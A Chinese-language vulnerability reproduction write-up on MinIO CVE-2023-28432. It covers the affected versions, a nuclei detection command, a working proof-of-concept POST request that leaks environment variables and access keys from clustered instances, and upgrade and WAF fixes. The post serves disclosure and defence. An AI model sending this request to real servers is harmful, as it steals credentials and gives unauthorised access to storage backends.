【漏洞復(fù)現(xiàn)】MinIO敏感信息泄露（CVE-2023-28432）
**0x01 簡介**??
MinIO是一個應(yīng)用在云場景下的對象存儲服務(wù)，MinIO近期公開了敏感信息泄露漏洞，攻擊者在不經(jīng)過身份認證的情況下即可獲取服務(wù)端敏感配置信息，其中包括環(huán)境變量，有的服務(wù)器還會獲取到AK/SK，獲取后可直接登錄后臺。此漏洞影響集群節(jié)點，單節(jié)點不受影響。??
**0x02 影響版本**??
RELEASE.2019-12-17T23-16-33Z <= MinIo < RELEASE.2023-03-20T20-16-18Z
**0x03 漏洞復(fù)現(xiàn)**
PoC已經(jīng)公開，而且利用方式很簡單，所以威脅比較大，直接一個Post請求即可觸發(fā)該漏洞。
Goby目前已更新該漏洞的檢測插件，詳情可參考如下鏈接：https://github.com/gobysec/CVE-2023-28432
nuclei也支持此漏洞的檢測，命令如下：
nuclei -v -t /path/to/CVE-2023-28432.yaml -u http://xx.xx.xx.xx
MinIO默認是9000端口，訪問此端口的應(yīng)服務(wù)，返回如下登錄頁面，則可以嘗試進行利用。
' fill='%23FFFFFF'%3E%3Crect x='249' y='126' width='1' height='1'%3E%3C/rect%3E%3C/g%3E%3C/g%3E%3C/svg%3E)
利用成功截圖。??
' fill='%23FFFFFF'%3E%3Crect x='249' y='126' width='1' height='1'%3E%3C/rect%3E%3C/g%3E%3C/g%3E%3C/svg%3E)
PoC：
POST /minio/bootstrap/v1/verify HTTP/1.1
Host: xx.xx.xx.xx
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
**0x04 修復(fù)方案**
1、升級到安全版本RELEASE.2023-03-20T20-16-18Z，下載鏈接：https://github.com/minio/minio/releases/tag/RELEASE.2023-03-20T20-16-18Z。
2、臨時修復(fù)方案，在waf上配置策略，拒絕所有post到/minio/bootstrap/v1/verify的請求。
參考鏈接：??
https://github.com/Mr-xn/CVE-2023-28432
https://nvd.nist.gov/vuln/detail/CVE-2023-28432
